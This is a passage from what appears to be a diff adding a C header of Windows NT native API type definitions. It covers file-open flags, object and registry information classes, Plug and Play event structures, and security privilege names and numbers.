TraceApplicationPowerMessageEnd = 0x1f, + ProcessorPerfStates = 0x20, + ProcessorIdleStates = 0x21, + ProcessorThrottleStates = 0x22, + SystemWakeSource = 0x23, + SystemHiberFileInformation = 0x24, + TraceServicePowerMessage = 0x25, + ProcessorLoad = 0x26, + PowerShutdownNotification = 0x27, + MonitorCapabilities = 0x28 +}; +#endif + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _X86_FLOATING_SAVE_AREA +{ + ULONG ControlWord; + ULONG StatusWord; + ULONG TagWord; + ULONG ErrorOffset; + ULONG ErrorSelector; + ULONG DataOffset; + ULONG DataSelector; + UCHAR RegisterArea[ 80 ]; + ULONG Cr0NpxState; +} X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; + +typedef struct _X86_CONTEXT +{ + ULONG ContextFlags; + ULONG Dr0; + ULONG Dr1; + ULONG Dr2; + ULONG Dr3; + ULONG Dr6; + ULONG Dr7; + X86_FLOATING_SAVE_AREA FloatSave; + ULONG SegGs; + ULONG SegFs; + ULONG SegEs; + ULONG SegDs; + ULONG Edi; + ULONG Esi; + ULONG Ebx; + ULONG Edx; + ULONG Ecx; + ULONG Eax; + ULONG Ebp; + ULONG Eip; + ULONG SegCs; + ULONG EFlags; + ULONG Esp; + ULONG SegSs; +} X86_CONTEXT, *PX86_CONTEXT; + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define PIO_APC_ROUTINE_DEFINED + +typedef struct _PORT_VIEW { + ULONG Length; + LPC_HANDLE SectionHandle; + ULONG SectionOffset; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; + LPC_PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef enum _PORT_INFORMATION_CLASS { + PortBasicInformation +} PORT_INFORMATION_CLASS; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +//added 21/03/2011 +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#if defined(_M_X64) + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 5; + +#if defined(_M_X64) + ULONG_PTR ReservedUlong : 32; +#endif +} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; + +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG Long; + }; +} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; + +typedef +VOID +(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _SHUTDOWN_ACTION { + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 + +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +#define MUTANT_QUERY_STATE 0x0001 + +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + MUTANT_QUERY_STATE) + +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +#define TIMER_QUERY_STATE 0x0001 +#define TIMER_MODIFY_STATE 0x0002 + +#define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + TIMER_QUERY_STATE|TIMER_MODIFY_STATE) +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') +#define OBJ_MAX_REPARSE_ATTEMPTS 32 +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) + +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[ 3 ]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +typedef enum _PLUGPLAY_EVENT_CATEGORY { + HardwareProfileChangeEvent, + TargetDeviceChangeEvent, + DeviceClassChangeEvent, + CustomDeviceEvent, + DeviceInstallEvent, + DeviceArrivalEvent, + PowerEvent, + VetoEvent, + BlockedDriverEvent, + InvalidIDEvent, + MaxPlugEventCategory +} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; + +typedef enum _PNP_VETO_TYPE { + PNP_VetoTypeUnknown, // Name is unspecified + PNP_VetoLegacyDevice, // Name is an Instance Path + PNP_VetoPendingClose, // Name is an Instance Path + PNP_VetoWindowsApp, // Name is a Module + PNP_VetoWindowsService, // Name is a Service + PNP_VetoOutstandingOpen, // Name is an Instance Path + PNP_VetoDevice, // Name is an Instance Path + PNP_VetoDriver, // Name is a Driver Service Name + PNP_VetoIllegalDeviceRequest, // Name is an Instance Path + PNP_VetoInsufficientPower, // Name is unspecified + PNP_VetoNonDisableable, // Name is an Instance Path + PNP_VetoLegacyDriver, // Name is a Service + PNP_VetoInsufficientRights // Name is unspecified +} PNP_VETO_TYPE, *PPNP_VETO_TYPE; + +typedef struct _PLUGPLAY_EVENT_BLOCK { + // + // Common event data + // + GUID EventGuid; + PLUGPLAY_EVENT_CATEGORY EventCategory; + PULONG Result; + ULONG Flags; + ULONG TotalSize; + PVOID DeviceObject; + + union { + + struct { + GUID ClassGuid; + WCHAR SymbolicLinkName[1]; + } DeviceClass; + + struct { + WCHAR DeviceIds[1]; + } TargetDevice; + + struct { + WCHAR DeviceId[1]; + } InstallDevice; + + struct { + PVOID NotificationStructure; + WCHAR DeviceIds[1]; + } CustomNotification; + + struct { + PVOID Notification; + } ProfileNotification; + + struct { + ULONG NotificationCode; + ULONG NotificationData; + } PowerNotification; + + struct { + PNP_VETO_TYPE VetoType; + WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName + } VetoNotification; + + struct { + GUID BlockedDriverGuid; + } BlockedDriverNotification; + + struct { + WCHAR ParentId[1]; + } InvalidIDNotification; + + } u; + +} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#define MDL_HASH_TABLE_SIZE 64 +#define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) +#define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) + +#if !defined(_WINNT_) +#define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) +#endif +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +typedef struct _RTL_TIME_ZONE_INFORMATION { + LONG Bias; + WCHAR StandardName[ 32 ]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[ 32 ]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; + +typedef struct _RTL_BITMAP_RUN { + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; + +typedef struct _PARSE_MESSAGE_CONTEXT { + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; + +typedef enum _RTL_RXACT_OPERATION { + RtlRXactOperationDelete = 1, // Causes sub-key to be deleted + RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) + RtlRXactOperationDelAttribute, + RtlRXactOperationSetAttribute +} RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; + +typedef struct _RTL_RXACT_LOG { + ULONG OperationCount; + ULONG LogSize; + ULONG LogSizeInUse; +#if defined(_M_X64) + ULONG Alignment; +#endif +} RTL_RXACT_LOG, *PRTL_RXACT_LOG; + +typedef struct _RTL_RXACT_CONTEXT { + HANDLE RootRegistryKey; + HANDLE RXactKey; + BOOLEAN HandlesValid; + PRTL_RXACT_LOG RXactLog; +} RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO { + USHORT CodePage; // code page number + USHORT MaximumCharacterSize; // max length (bytes) of a char + USHORT DefaultChar; // default character (MB) + USHORT UniDefaultChar; // default character (Unicode) + USHORT TransDefaultChar; // translation of default char (Unicode) + USHORT TransUniDefaultChar; // translation of Unic default char (MB) + USHORT DBCSCodePage; // Non 0 for DBCS code pages + UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges + PUSHORT MultiByteTable; // pointer to MB translation table + PVOID WideCharTable; // pointer to WC translation table + PUSHORT DBCSRanges; // pointer to DBCS ranges + PUSHORT DBCSOffsets; // pointer to DBCS offsets +} CPTABLEINFO, *PCPTABLEINFO; + +typedef struct _NLSTABLEINFO { + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; // 844 format upcase table + PUSHORT LowerCaseTable; // 844 format lower case table +} NLSTABLEINFO, *PNLSTABLEINFO; + +#define RTL_RANGE_LIST_SHARED_OK 0x00000001 +#define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 + +typedef struct _RTL_RANGE { + ULONGLONG Start; // Read only + ULONGLONG End; // Read only + PVOID UserData; // Read/Write + PVOID Owner; // Read/Write + UCHAR Attributes; // Read/Write + UCHAR Flags; // Read only +} RTL_RANGE, *PRTL_RANGE; + +typedef + BOOLEAN + (*PRTL_CONFLICT_RANGE_CALLBACK) ( + _In_ PVOID Context, + _In_ PRTL_RANGE Range + ); + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + + +typedef enum _PLUGPLAY_CONTROL_CLASS { + PlugPlayControlEnumerateDevice, + PlugPlayControlRegisterNewDevice, + PlugPlayControlDeregisterDevice, + PlugPlayControlInitializeDevice, + PlugPlayControlStartDevice, + PlugPlayControlUnlockDevice, + PlugPlayControlQueryAndRemoveDevice, + PlugPlayControlUserResponse, + PlugPlayControlGenerateLegacyDevice, + PlugPlayControlGetInterfaceDeviceList, + PlugPlayControlProperty, + PlugPlayControlDeviceClassAssociation, + PlugPlayControlGetRelatedDevice, + PlugPlayControlGetInterfaceDeviceAlias, + PlugPlayControlDeviceStatus, + PlugPlayControlGetDeviceDepth, + PlugPlayControlQueryDeviceRelations, + PlugPlayControlTargetDeviceRelation, + PlugPlayControlQueryConflictList, + PlugPlayControlRetrieveDock, + PlugPlayControlResetDevice, + PlugPlayControlHaltDevice, + PlugPlayControlGetBlockedDriverList, + MaxPlugPlayControl +} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; + +typedef +VOID +(*PPS_APC_ROUTINE) ( + _In_ OPTIONAL PVOID ApcArgument1, + _In_ OPTIONAL PVOID ApcArgument2, + _In_ OPTIONAL PVOID ApcArgument3 + ); + +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +// +// Value entry query structures +// 14.09.11 + +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +// +// end of value info +// + +typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyUserFlagsInformation, + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +#define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") +#define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") +#define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") +#define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") +#define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") +#define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") +#define SE_TCB_NAME TEXT("SeTcbPrivilege") +#define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") +#define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") +#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") +#define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") +#define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") +#define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") +#define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") +#define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") +#define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") +#define SE_BACKUP_NAME TEXT("SeBackupPrivilege") +#define SE_RESTORE_NAME TEXT("SeRestorePrivilege") +#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") +#define SE_DEBUG_NAME TEXT("SeDebugPrivilege") +#define SE_AUDIT_NAME TEXT("SeAuditPrivilege") +#define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") +#define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") +#define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") +#define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") +#define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") +#define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") +#define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") +#define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") +// #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") +// #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") +// #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") +#define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +#include + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +#include + +// +// FILE_INFORMATION +// +//readded 17.09.11 EP_X0FF + +typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal + ULONG AlignmentRequirement; // ntddk nthal +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_NAME_INFORMATION { // ntddk + ULONG FileNameLength; // ntddk + WCHAR FileName[1]; // ntddk +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm 